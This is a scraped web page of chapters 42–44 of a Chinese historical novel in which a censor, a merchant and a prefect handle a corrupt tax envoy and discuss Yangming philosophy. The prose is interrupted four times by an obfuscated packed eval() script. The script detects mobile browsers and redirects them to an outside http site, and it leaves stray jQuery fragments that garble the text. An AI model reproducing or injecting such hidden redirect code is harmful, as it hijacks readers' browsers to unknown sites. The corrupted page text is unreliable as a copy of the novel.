;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505119|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
桌角的签筒,于是反手掣出一支签,将其掷到税使面前,气沉丹田,厉声喝道:
“此人胆大包天,公堂之上竟敢袭击知府。本巡按代天子巡狩,有自行处置六品以下官员之权。来人,将他叉出去,杖三十,以儆效尤!”
“是!”
手持杀威棒的衙役们鱼贯而入,不由分说,就将那吓懵了的税使给带出去,即刻动刑。
堂外,棍棒落下在皮肉上发出的沉闷声,还有税使连连求饶的大叫声,听得是堂内的张二和织工头皮发麻,胆战心惊。
他们刚才就被税使的惊人之举给吓得两股战战,浑身发抖。
直到卢巡按发话,他们才缓过神来,同林凡安一起询问起李知府的伤势。
“知府老爷,您这又是何必,哎——”
林凡安紧紧盯着李平受伤的手臂,脸上的神色也少见得凝重了起来。
“不碍事,不碍事的,本府皮糙肉厚,他这鞭还没午门前锦衣卫的廷杖力度大呢!哼,本府连十棍都熬下来了,还怕他这一鞭子不成!”
李平满不在乎地安慰着他们,像是为了证明自己没有什么大碍一般,还象征性地拍了拍手臂。
结果一不小心牵扯到伤口附近的肌肉了,他顿时忍不住龇牙咧嘴起来。
林凡安看得是一阵无语。
他从袖中掏出随身携带的金疮药,请一旁看得目瞪口呆的邓知县赶紧扶李知府去后堂,又再让衙役去请医师过来为李知府疗伤。
邓知县呆若木鸡地扶着李知府走了,剩下的事,全都交予卢点雪善后。
临走前,李平还凑到了卢点雪身旁,小心翼翼地问她那税使会不会被打死。
他很担忧,万一真把人给打死了,他现在右臂写不了字,无法拟文书上报给京城说明情况。
“放心,三十大板又不是廷杖的三十大板,死不了人,这些衙役们心中有数。”
卢点雪闻言满脸黑线,但还是又喊了几个人,侧头低语了一番,随后望着他们朝向堂外奔去。
“但是他不死也会脱层皮肉,也好让他长长记性,瞧瞧鱼肉百姓、兴风作浪是个什么下场!我是不会让他死的,何况留着他还有用呢。”
“那就好,”李平拍拍胸口,松了一口气,“纵然你有便宜行事、先斩后奏之权,可是方才你没判那税使斩立决,但又暗中授意让衙役打死他,这也算是逾权。”
“即便是死囚,那也得上报给刑部审罪,再经督察院参核,大理寺审允,三法司覆核无误才能上报给皇上再秋后问斩。这里面的头头是道,卢巡按需得小心——”
“好了好了,李知府的一番苦心我知道了,还请您勿要操心,好好去疗伤吧!”
卢点雪忍无可忍,打断李平滔滔不绝的话,同邓知县一起硬将他架去了后堂。
之后的事她处理得都很顺利。
判决林凡安的提告胜诉,让架阁库的书吏修改黄册上张二户籍的错误,又撤了邓知县先前命张二回到矿场的命令,让他随邻葛成一起在林凡安的机房里继续工作。
然而林凡安怜其今日遭了这么一劫,又思及他年岁已老,还是赠了老人家一些银子,让他日后不用再来干活了,安心在家养老吧。
张二和葛成感恩戴德地走了,林凡安也与卢点雪互相辞别。
在林凡安走了一段路后,拐入一条小巷,左顾右盼了会,方才无奈出声:
“卢巡按,您这么跟在草民身后,难保不会让人误会啊。官商勾结的罪名,小的可不敢当。”
“哦?林老板做都做了,还怕别人讲出来?”
下一刻,卢点雪的身形从墙壁后面显现出来。
“我好歹也是要些面子的吧,毕竟京里帮了你那一次之后草民的声誉可谓是急剧下降,林家茶楼的钱都少赚了一大半呢。”
林凡安不知从哪摸出了一把折扇,愁眉苦脸地将它展开,掩着面庞,懒散地打了个哈欠,
“有什么事快说,或者改日找个隐秘的地方议事。今日我乏了,还等着早些回去睡觉呢。”
“不急啊林老板,这夜黑风高的,不正是最好的掩护?”
“哎呀,卢巡按这话,说得草民好生害怕啊,不会是想要将草民灭口吧?”
“少来这套!不是你写信示意我来吴县的?快说,这里究竟是怎么一回事!”
卢点雪的耐性早已用尽,语气也不由得强势了起来,
“不说你今日就别想走了。说,你之前为何要故意激怒那税使,逼他对你动手?这不是你平日的作风,你给我老实交代!”
42. 第 42 章
“稍安勿燥,稍安勿躁,”
林凡安合起折扇,绕到卢点雪身旁,用扇子点了点她的肩膀,
“见到你发脾气也是不容易啊。我还特意估算了下你的脚程,本以为你会晚几日再到的,没想到今晚就正好来了,来得还真不是时候。”
“朝中裁减驿站,我赴任途中没碰着几个,便没怎么休息就接着赶路了。”
卢点雪言简意赅,仍是不肯放弃追问方才的问题,
“你的问题我回答了,那么你也该告诉我你的回答吧?”
“原来如此,”林凡安若有所思,随后摇摇头,“连最为富庶的江南都裁掉了这么多驿站,更何况北方,这又得有多少驿卒失了谋生之路。”
不待卢点雪反应过来,林凡安语气一转,复又接着道:
“先前的情形你也看到了。吴县知县邓礼跟李知府并不是一条心的。李知府为人谦和,看不出邓礼阳奉阴违,邓礼便以为李知府软弱可欺,连知府都不放在眼里。”
“更有甚者,他和沿路设卡的税使串通一气,暗度陈仓,默许他们在商道收取过路费。今日若不是我来提告,他顾虑着我这个大商人的颜面,不然早早地就让那税使将张二和织工带走了。”
“可是他忘了,他是知县,和苏州织造还有司礼监井水不犯河水,用不着如此巴结旁人。纵算他出面呵斥那税使回去,司礼监的太监们也无法将一县知县怎么样。”
“于是我就想了这么个法子。如你所见,苦肉计还是很好用的,至少我们在京城使的那招就很见效。既然邓知县不怎么想管此事,那我就要逼迫他正视它。只要那税使动气伤了我,在知县眼皮子底下伤了他县里的百姓,邓礼就再也无法置之不理了!”
“不过我没想到的是,你既然能说服李平,让他来教训邓礼和税使,还意外发现了县里黄册中的疏漏,可谓一箭双雕。李知府今日能有此番气魄,你也没少在他身后出谋划策吧?”
“哎,只不过没想到最后竟是李知府挺身而出,替我挨了这一鞭子,真是罪过,罪过。”
林凡安长叹短嘘了好一阵子,却不见卢点雪出声。
他心中正疑惑着,忽听见卢点雪“哦”一声,似是恍然大悟:
“我明白了,原来你是在记恨他们强抢了你那么多银子,这才挟私报复,将事情摆到明面上来!”
闻言,林凡安还在玩弄扇子的手不由自主地停了下来。
“澄怀,祸从口出,还是谨慎为好啊。”
他的面上还维持着先前和言语色的模样,眼中却是略带了几分警告之意。
“好好好,与你开个玩笑罢了,没想到林老板确实是这么小心眼,果然是一点亏也不肯吃。”
卢点雪换了种语气,态度缓和了下来,
“好了,言归正传,你来吴县所为何事?不会真的仅仅是气恼矿监税使对你机房的盘剥吧。还是这地方藏着什么不可告人的秘密?不然你也不会特意让我先来吴县。”
“猜对了,是有些秘密,但目前暂且无法告知你,之后你自然就会知晓。”
林凡安点了点头,目光上上下下地打量一下卢点雪,眉梢一挑,饶有兴致地说道,
“只是我没想到的是,皇上竟会直接任命你为应天巡按,这比我预估的职位还高。我原以为后湖黄册库事发后,他会让你接任金陵户科给事中,看来圣上还是极为信任你的。”
“金陵户科给事中让我做?你就这么肯定?”
卢点雪不免觉得有些好笑。
然而一缕想法骤然略过她的脑海,她不由地瞪大了双眼,惊疑地望向林凡安。
“在我入狱后,金陵监察御史上奏朝廷,说是有一镇守太监擅闯后湖,这才将后湖之事闹得满朝皆知。该不会是你让太傅命人上奏——!”
思及到此处,一系列的前因后果自发地串联起来,她心中更是骇然,
“难怪,入京前你想让我授官后做的事,想必就是清查黄册!去年你想让我入国子监的目的也是为此。若非我执意进京赶考,去年秋闱后你旧能顺理成章地安排我进去,只待御史一上奏,就让我同监生们一起入后湖驳查黄册。原来你早就策划这一切了!”
“还有,莫非连盐务司上奏两淮盐引大壅的事亦是你指使的?也是,你既为商人,又怎会不知两淮已到了无盐可给的局面。况且金陵户科给事中做了什么事你都一清二楚,又岂会不知他为修补损耗黄册,变卖了龙江盐仓检校批验所的余盐?!”
“嗯,你很聪明,洪炉点雪一点即透,不枉我费尽心思在你身上豪赌了一把。”
只听林凡安轻笑一声,算是认同卢点雪的一通猜测。
“只不过有一点你说得不太对。”
“自始自终,我从未刻意指使过什么人,顶多算得上是提前知道了些消息,顺手推舟、推波助澜罢了。反正这些奏本早晚都是要上奏的,何不让他们掐个好时机,一劳永逸?”
他的眼睛一如既往地如点漆般透亮,尽管是在伸手不见五指的黑夜中仍旧熠熠生辉,就这般静静地注视着卢点雪。
然而在卢点雪看来,这一眼,令她如坠寒窖,一股股寒意从脚下升起。
纵然认识了眼前之人这么多年,她不时还会因他深沉的心计而感到心惊肉跳。
不显山不露水,甚至连本人都未曾出面,就这么不动声色地搅弄朝局,将所有人的反应都算无遗漏。
卢点雪强捺下心头涌动的情绪,尽量去忽略那份不适,
“难怪太傅在朝时会主动请辞……我如今才算是知道其中的利害关系了。”
“是啊,所以先帝忌惮父亲,那也是不无道理的。谁叫父亲既是首辅的亲师弟,又跟魏尚书和程阁老交好呢?他当时如果不走,那朝中可真真确确就是铁板一块了。”
林凡安意味深长地注视着卢点雪,展开了扇子,悠然道,
“虽说这当中出了不少波折,但总而言之,也算是与我所料的结果相差不大,我也能安下心了。”
“此时就已安心,怕不是有些为时过早了吧林老板?”
卢点雪冷飕飕地反唇相讥道,
“那税使回去后定不会善罢甘休,你让他丢了这么大一个面子,改日必将会卷土重来报复于你。林老板就当真一点也不担忧?”
“这不是还有您在吗卢巡按,”
云梵复又打了个哈欠,瞧着是真的困了,
“依草民对您的了解,您定会快刀斩乱麻,尽早除了此乱的祸根。再者,他也再没这机会了。”
“说来卢巡按,我倒是很好奇一件事,今日堂上我本还以为你会当场赐死那税使,毕竟您可是有皇上钦赐的尚方宝剑,就算是杀了一个微不足道的税使也不必上报朝廷,哪像李知府说得那样麻烦。”
“你也知道是御赐的尚方宝剑啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14539543|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
卢点雪斜睥了他一眼,
“拿它斩一个为虎作伥的小人,却不斩穷凶极恶的元凶,未免也太过大材小用了点。再说我还准备放长线,钓大鱼呢。”
“我要斩,就斩那罪大恶极,真正该立斩之人!岂能容此辈多苟活于人世间一日!”
“好气魄,”林凡安笑了笑,“愿您能够得偿所愿。”
“哦对,我刚想起一件事,好心提醒一下你。”
“卢巡按,若是您现在还不是很困,不妨先折回去瞧瞧李知府,明早再跟他去街上转悠转悠、体察体察民情,顺便再问问我们的这位父母官,何裘巡盐有功,圣上特准许各地酌情减少矿税的消息,是从哪听得的?”
“小民恰巧来苏州时途径过扬州,如水的银子、络绎不绝的运钱船,我也都见到了,却唯独没见到皇上褒奖何御史的圣旨啊。”
“什么?这事连你也不知道?”
卢点雪大惊失色,霎时变了脸色。
她方才还在琢磨林凡安那句“也再没这机会了”的含义,隐隐觉得有些不太对劲。闻此一言,她马上将这点疑惑抛之脑后,急速思索起来,
“不对啊,李知府看着不像是会说谎的人,何况他又和季尚书还有小阁老相交好,没有十足的把握,不然何故当众出此言?”
“谁知道呢。”
林凡安将折扇扇得哗啦作响,显然是已经有些不耐烦了,
“还是先放宽心吧。反正你现在和李知府是一条船上的人了,朝中那几位爱屋及乌,即便是出了事,他们也定会将你和他护得严严实实。”
“不行,我还是得找他问问。失陪了,我先走一步!”
卢点雪猛一转身,抬脚就要跑回去。
“好,慢走不送——!”
一听到卢点雪终于要走了,林凡安如释重负,一个非常诚心实意的笑容浮现在脸上。
结果口中“慢走不送”的“送”字还未说完,卢点雪又突然来了个急转弯,在他面前停下:
“好巧不巧,我也刚刚想起一件事,还请林老板留步。”
“有事快说,再慢慢拖下去,我就要收银子了。”
林凡安没好气地说道,其中的嫌弃之情溢于言表。
但是现在,卢点雪已全无再跟他开玩笑的心思。
她正色道:“既然太傅与魏阁老是旧相识,想必阁下也是相当了解魏尚书吧?先前李知府与我谈及到内阁在等魏阁老的一妙计,所以让我们先与司礼监的税使们耗着,静观其变。至于魏阁老这一妙计,你可有想法?能否稍作揣测,透个底?”
“哦?内阁真是这么说的?”
话虽如此,可林凡安的神情看起来并不如他语气所听着那般显得很有兴致。
他低垂下眼帘,漫不经心地接道,
“那你管那么多作甚,照听便是,慢慢等着吧。”
一听林凡安这话,卢点雪不免急了起来,
“苏州如今的境况你我皆知,说是一句水深火热也不足为过。要是魏尚书再不说这妙计,任凭时局就这般拖下去,苏州怕不是要生出民变啊——!”
“或许魏阁老想要的,就是这样的场面呢?”
林凡安意味深长地觑了一眼卢点雪,迎着她惊愕的目光,缓缓说道,
“卢巡按,官场上你还是太嫩了些啊。有时候没有态度亦是一种态度,不是吗?”
43. 第 43 章
“什么?!你这话是何意?”
卢点雪大惊,正欲抓住林凡安问个明白。
未想林凡安似乎是早已预料到了她的反应,速速抽身,翩然离去。
“卢巡按,奉劝您一句,还是不要将人想得太过完美为好。”
林凡安的身形渐行渐远,声音也是愈来愈小,
“魏尚书出身自军户,我朝军户是什么处境你也知道,不靠读书出人头地,就要被发去卫所充军。何况他早年又为了生计在民间写讼状,世间百态是再清楚不过。没有城府和手段,他坐不到吏部尚书的位置,成为六部之长的。如若你想指望他帮你,我奉劝你还是尽早打消这个念头。”
“这世上没有什么人是真正靠得住的。”
“他是如此,我亦是如此,天下人皆是如此。”
林凡安,也就是云降心,带着这番话离开了。
徒留下卢点雪,仍对着空无一人的小巷,陷入了沉思。
就连在返回吴县县衙的路上,她仍旧在不断思考着云降心方才所言。
云降心说得没错,她近来确实是有些太过于将希望寄托在旁人身上。
归根究底,还是她自己能力不足,心力不定。
在险境之下,更该好好地让自己的这颗心稳住,方能头脑冷静,遇事不乱。
她现在的处境虽然也不算好,身后赵除佞还在虎视眈眈地等着揪出她的错处,两个月后京察定生死。
但是,即便如此,她也确实想为苏州的百姓做些什么。
这些无关她的政绩考核,只是出乎于一个人的良知。
她不愿自己的良知被遮蔽。
因她所毕生所学的阳明心学,因她这么多年来跟着老师走南闯北的所见所闻,她无法对百姓的遭遇无动于衷。
至于先前云梵的话,她算是彻底琢磨透了。
她尚在金陵时就听闻朝廷上上下下皆在不停上奏,请求皇上收回开矿税的旨意。
再结合不久前邓礼的话,不难猜出崇正党及其亲戚在江南所拥有的矿场绝不在少数。赵除佞欲来分一杯羹走,他们自然不愿,定会竭力反对。
彼时正逢宫中乾清宫被烧,西北大旱,内阁迫不得已接受,想来也是极其不甘心的。
然现如今她被任命为应天巡按,何裘南下巡盐,李平又是苏州知府,明面上崇正党可谓是牢牢把握住江南,势必不会善罢甘休。
且她临走前季无忧也请求过她,让她竭力协助李平打击为非作歹的矿监税使,说白了就是不想让税使们收矿税,尤其是收自家的矿税。
崇正党不想收矿税,但无奈皇上坚决不同意,纵算各地巡抚不断上奏,也未曾断了皇上要开矿税的心思。
二者的态度都尤其明确,想必也没少拉着魏与归商议对策。
魏尚书被夹在中间,纵算有什么心思也不能明讲。
崇正党的真实算盘他估计也不是不知道,只是装糊涂罢了。
他无意去掺和,却也不得不顾忌矿税之弊,干脆就跟他们打马虎眼儿,拖着不管,等到拖出个民变,届时再以此迫使皇上撤掉矿税。
如此一来一箭双雕两败俱伤,不动一兵一卒,既能使皇上收回成命,又能使崇正党元气大伤。
只是,在魏尚书这场局中,百姓充当的究竟是怎样一个角色?
战场上白白送死的炮灰吗!
卢点雪眉头紧紧扭成一团,脸色一沉,整得李平和邓礼是大气也不敢出。
最终还是李平没忍住伤口的痛,哼唧了一声,这才引得卢点雪回过神来。
“李知府,您可还好?”
卢点雪关切地问道。
“不太好。”
李平郁闷地撇撇嘴,一点也没了在公堂上的神气样儿,
“本府收回先前说过的话,卢巡按确实该处死那税使。嘶——他可真是恶毒,专挑刁钻角度下狠手,打得我现在连右臂都抬不了,看来是想直接废了林老板的手臂啊!”
“事已至此,再懊悔也迟了,”卢点雪淡淡答道,“何况他也早已受完刑,被押回葑门本营去了。他毕竟是税司织造的人,杀了他,就算是和税司织造彻底撕破脸。”
“难道就这么算了?李知府的伤看起来甚为严重啊。”
邓礼试探性地问了问卢点雪。
卢点雪抬起头瞥了他一眼,语气中听不出任何感情:
“哦?那依邓知县之意,您觉得该如何做?”
“自然是把那税使再抓过来,让他在公众面前再受一次刑。李知府为救百姓而受此重伤,这仇一定得报!”
邓礼言之凿凿,信誓旦旦地为李平打抱不平,看起来甚为义愤填膺。
“就这样吗?”
“嗯……卢巡按若是愿意,还请您向陛下奏明李知府为税使所伤及吴县本地的情况。不知您可否领衔上奏,再请求陛下取消矿税,召回各地矿监税使,如此也是为了苏州百姓,下官和其余几位知县愿随您一同上书!”
邓礼话刚说完,自己也觉得有些心虚,低垂着脑袋站在旁边,不敢再抬头。
然而他没等到卢点雪的回话,却听到了一声冷哼,随即便是李知府怒气冲冲的声音:
“呵,狐狸尾巴露出来了!你先前对那税使可谓是千依百顺,甚至纵容他把不相干之人也抓捕走,怎么现在就开始怂恿卢巡按跟税司织造作对了?”
“说来邓知县历任吴县知县已两年之久,对此地可谓是知根知底,自己却不愿领衔上奏奏明情况,反倒要让初来乍到的卢巡按来上奏,究竟是何居心?!”
“说白了不就是怕皇上怪罪到你身上,所以才让卢巡按做这个出头鸟吗!”
“可是,可是,朝中阁老们和季尚书的意思,您也知道——”
邓礼的小心思被戳破,一时尴尬且不安。
他哆哆嗦嗦的本还想再说些什么,却见李平从榻上一骨碌爬了起来,“噌”地一下站到邓礼面前,指着他大骂道,
“你还敢拿老师来压我?他都没跟我这么交待过,岂容你在此置喙?滚,赶紧给本府滚出去!”
李平一声怒吼,吓得邓礼连道数声“失敬”,灰溜溜地跑走了。
“哎,何必如此动怒呢李知府。人都走了,您也不必再装了,别真气坏身子。”
卢点雪长叹一声,扶着李平慢慢坐下。
“害,人可算是走了,堂上那几刻,我腿都快吓软了!”
李平心有余悸地拍拍胸口,复又如烂泥一般瘫倒在了榻上。
躺下的刹那,他忽而思及到旁边还有卢点雪在场,他这副模样着实太过失礼,便速速直起身子,坐端正些。
“哈,确实是这样,本官也看出来了,不然知府大人为何要那般急急地坐在邓知县的位置上呢?”
卢点雪“扑哧”一声笑了出来,卸下了那副面无表情的假面。
然而她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600315|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这一笑,却让李平更不好意思起来。
“卢巡按,我是不是太过虚张声势了些,演得很假啊。哎,真的是有负于你之前的指导……”
“没有没有,你做得已经很好了,颇有几分小阁老的气势,没看到场内所有人都被你震住了吗!”
面对蔫了的李知府,卢点雪很有善意地连连安慰着他。
这一招果然很见效,李平也不沮丧了,一双眼亮晶晶地望向卢点雪,
“真,真的吗?”
“当然是真的,”卢点雪一脸正色,“本巡按还能骗你不成?我就说这么做很有用吧!你看,现在还有谁敢再欺负你?”
“可是卢巡按,我有个问题想请教一下。为何方才你不出面,反倒是让我一直疾言厉色地训斥他们?若是你给邓礼也来个下马威,谅他也不敢不把你放在眼中了。”
李平不解地看着卢点雪,终于问出了这个一直萦绕在心头的困惑。
“因为你是苏州知府,不出意外会一直留在这里的。而我只是个巡按御史,终归不会在这里停留太久。若是此事一直由我出头,日后我走了,去别处巡按四方,你该怎么办?还是这般任由旁人糊弄搪塞?”
“所以说万事需得靠李知府您自身。善良是件好事儿,可是太过善良就成了懦弱。若无威信,日后您也难以在苏州府立足,岂不是白费了季尚书的一番苦心?”
“李知府,前方的路还很长,不用急于这一时的,慢慢来就好。”
卢点雪这一番话说完后,李平久久没有应答。
随着时间的流逝,纵然镇定如卢点雪,心中也忍不住有点小慌。
她将方才说过的话反反复复琢磨了很久,也不知道是哪一句说得不太对,以至于惹得眼前这位脆弱的李知府伤心不已。
良久,李平终于开口,却是眼泪汪汪的:
“卢巡按,你人真好!你这么说话,好像我娘跟我说话的语气啊。”
对于前两句,卢点雪还是很乐于去接受的。
至于这最后一句,呃,还是装作没听到吧。
尽量去忽略李平比她年长许多的事实,卢点雪微微一笑,
“其实我也有一个问题想要问李知府,不知您可否为我解惑?”
“卢巡按请讲。”
“在公堂之上,您为何要主动拦在林凡安身前?是一早就看出来那税使心怀不轨?”
“没错!本府盯着他很久了!”
说道此处,李平还有些自豪,“本府颇具慧眼,就知道那税使定会有小动作。果不其然,林凡安甫一戳穿他,他就恼羞成怒,竟敢在你我眼皮子底下打人!哼,也不知道平时在民间是如何嚣张!”
“如此说来,大人是可以制止他的,为何偏偏要自己凑过去呢?”
“事出紧急,本府也忘了。再说林老板瞧着柔柔弱弱的,一身细皮嫩肉,连躲都不知道躲,本府便下意识地跑过去了。”
“若是真要我说出个理由,大抵就是见父知孝,见兄知悌,见孺子入井,自然之恻隐。此便是良知,不假外求。”【1】
“原来如此,时至今日,我总算明白慧能法师那句的真正意思了。”
出乎意料的是,卢点雪倏地冒出了这一句,茅塞顿开。
这一刻,仿佛将明镜台上沾染了的尘埃一一拂去,显露出原本的模样。
“不是风动,不是幡动,仁者心动。此便为仁者心动!”【2】
44. 第 44 章
“仁者心动?原来是慧能法师那桩禅宗公案,卢巡按有何见解,不妨讲讲?”
闻言,李平也顿时起了些兴致。
“在京城时我随老师一直研习阳明心学,却总也参悟不透我们江右学派的一些道理,尤其是诸如‘主敬’‘归寂’一类的说法似乎又太偏向于释家,令我百思不得其解,只能为自己的钝根而黯然神伤。如今我瞧卢巡按是个根器大利者,尊师又是位高僧,能顿悟,直从本源上悟入人心,既有所感,可否说与我听听?”【1】
他这么一问,卢点雪才想起李平是季无忧的门生,和她也算是同为心学中人。
那么,与李平相互交流一番也是极好的。
“当然可以,”卢点雪欣然答应,“如此,那我也就不客气了。”
“如知府所见,这是一桩禅宗公案。既是公案,须得从禅机出发。”
“禅机因时因境而发,不仅需要贴合当时情境,还需一语击中要害,使听者领悟佛旨要义。依我之愚见,六祖慧能仅以此句令一众骇然,是因其之内藏有四大禅机。”【2】
“是何四大?”
“一是仁者,二是心,三是动,四是心动。”
“想必此心非彼心,是阳明先生所说人与生俱来的天性,也就是本性。阳明四句教之第一句,无善无恶心之体,意为心之本体并无无善恶之分,也就是人的本性并无善恶之分,宛若童心一般不受外界干扰,清净自性不着一物,正如佛家所言‘明镜本清净,何处染尘埃’!”
“不错,”卢点雪赞许地点了点头,“这亦是慧能法师所作,名为《菩提偈》。心者,君主之官也,神明出焉,人的思想从中而来。但心本身就客观而言,它只是类似于秤一般的存在,仅能称量事物并不能判断善恶,识别是非。心之本体是清净无染的,什么都没有才是自性,故而《菩提偈》还有一句便是‘本来无一物’。心外无物,无善无恶,回归到本心自在的清净状态,应无所住而生其心,自然能做到无我相、无人相、无众生相、无寿者相。”【3】
“若人人都能善护念,持有这一颗清净心,不让私欲充斥于其间,这一无善无恶的心之体便是至善的,也就是所谓的‘仁者’。”
“如若你不太能理解无善无恶即为至善,那我给你举个例子。天之道,损有余而补不足,道家曰大道无情,然而天道的无情是如人们平常所说的没有情感吗?非也,天理只是公平地对待世间万物,所以说无善无恶即为至善。”【4】
“仁者和心讲过了,接下来便是动和心动的问题。金刚经有言,不取于相,如如不动。表面上说是动,实则不动,这是修行成功的佛与阿罗汉们的心,也就是仁者的心。他们面对一切世间的境缘,心里不产生对任何一种事物的执着,外不着相,内不动心,这便是清净心。”
“至于这心动,我倒是与释家的看法略有不同。佛语常言,定可生慧,所谓摄心为戒,因戒生定,因定发慧。先从慧能法师的角度来说,两个和尚因争论是幡动还是风动,动心起念了,失去了本有的清净心。本心有了波动,真实的自我便迷失了,这算犯了修行之忌。”【5】
“修行之人是为寻求般若智慧,发阿耨多罗三藐三菩提心,最终是为了求得一种心如明镜台的状态,万事万物都能显现在镜面上,但并不执着于让其滞留在镜面上,真正做到无我相,无人相,无众生相。如此这般才可称为圣人,称为仁者。是以不难看出慧能法师之言,一意在点明佛理,二意在暗示指责二僧持戒不严,枉之‘心动’,仁者是不该心动的。”
“可是依我之见,以阳明心学来阐释这一句,我觉得仁者是可以心动的。物者,事也,凡意之所发必有其事,意所在之事谓之物。跟心有联系的才叫事,所以心外无物很正常。人与人的心有所关联,这便是关心。而仁者圣人,就是与天下人之心相关联。”【6】
“而这些仁者圣人,会扩充他们的良知,扩充孟子所言的四端之心。关心吃不饱饭的人,而非漠不关心,把他们的存在状态容纳到你的世界当中来,这才会有感同身受,百姓之痛你就会有切肤之痛,这才是仁人,否则是麻木不仁。”
“如此一来,天下一切万物都能到达进入我的主体世界,这样我的心就是和天下一切事物相关,最后的圆融境界叫做无心外之物。换言之,心外无物,不正是心内有物的意思?”
“方才在县衙之内,我见阁下之义举恰合心学之道,便不禁想到了这桩禅宗公案,李知府以为如何?”
“原来是这般,卢巡按这一番见解,当真是别出心裁!”
李平惊喜地叫出了声,听得已然是入了神。
“可否再烦请你再讲讲聂豹的归寂说?尤其是这一块我始终不得要领,不知卢巡按有何看法?”
“江右的归寂说吗?”卢点雪顿了顿,微微犹豫了一下,“我虽不太清楚你们江右学派具体是怎么研究的,所以我只能说说我对阳明先生原话的见解。”
“《传习录》原文如是说道,先生游南镇,一友指岩中花树问曰,天下无心外之物。如此花树,在深山中自开自落,于我心亦何相关?先生曰,你未看此花时,此花与汝心同归于寂。汝来看此花时,则此花颜色一时明白起来,便知此花不在汝之心外。”
“正好刚刚说过了,物者,事也,跟心有联系的才叫事,心跟物没有建立联系的,这个状态便是‘寂’,即不显现,也就是心外无物。先生并没有说花是不存在的,意思只是当人看到了花时,花在人心中的状态就由‘寂’瞬间转换为了‘显’,这便是寂感神应,无前无后无中间,瞬间现起。”【7】
“就比如说我刚才在进入县衙后堂,想要查看你受伤之前,李知府你是在还是不在?”
“毫无疑问你是在的。但是对我来说,你的在于我眼中是一种什么状态?这便是寂。”
“但是你对于刚才与你同在的邓知县而言,你的存在是什么?是显。”
“由是观之,同一事物是可以以不同的方式来存在的。至于判断它的状态皆是由于人心与其交涉,所产生的联系之感,并不是说事物本身是不存在的。”
“阳明先生常说,人人皆有良知,皆可成圣,但芸芸众生皆未成圣,其症结在于良知被遮蔽,那么良知被遮蔽的这个状态就是‘寂’。所谓‘无善无恶心之体,有善有恶意之动’,正是心归于寂,物来照之,意动起善念。”
几大段话讲下来,卢点雪已是有些口感舌燥,差不多打算就此打住。
然而对面的李平却恍若无觉,仍是一副沉浸于思考中的模样。
卢点雪试探性地唤了他一声,李平这才如梦初醒,急急翻身而下,说是要赶紧写下来,在桌案上寻了半天纸笔,正欲研墨,方意识到自己右臂受了伤,不能写字。
“可恶!真是越想越生气!”
李平不免有些懊恼,嘟囔着坐了回去。
“不碍事,李知府若是不方便,我替你写下来便是。”
李平此举略微稚气,卢点雪心中一阵好笑,走到桌案旁,边宽慰着李平,边动笔开始写。
“卢巡按,你真是个大大的好人!”
李平被感动得眼泪汪汪。
既然有卢点雪替他代笔,他便高兴地在卢点雪身侧绕来绕去的,不时还凑过来看看卢点雪写的内容,啧啧称奇她的字。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706519|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“都这么晚了,要不你先回去歇息吧?今晚这一遭走下来,想必也是累了吧。”
“还好还好,比不上李知府辛劳。”
“只是我觉得我的这颗心,还不能如此早地归于沉寂。”
卢点雪分出些精力来回答李平,随后状似漫不经心地问了一句,
“说来,不知李知府和何裘何御史的交情如何?”
“何御史啊,不怎么熟,我没跟他打过交道。”
“欸,不是吗?”卢点雪故作惊讶状,“原来先前堂上知府所说圣上准许各地酌情减少矿税的消息,不是从何御史那听来的?我还以为这是何御史偷偷讲与您的,所以本官和邓知县才对此一无所知。”
语毕,卢点雪似有若无地瞥了一眼李平,想看看他的反应。
果不其然,李平一听这话,身子顿时僵住了。
这下话也不说了,人也不转了,就傻楞在原地,一动不动。
卢点雪也不急,收回目光,也不多问,就静静地继续写着。
“嗯……其实这话我是吓唬邓知县的。”
直至李平纠结够了,终于鼓足勇气,扭扭捏捏地开了口。
“当时情况卢巡按你也知道……这不是怕邓知县不跟我们一条心,任凭那税使把人抓走嘛。我就灵机一动,想出了这么一招!”
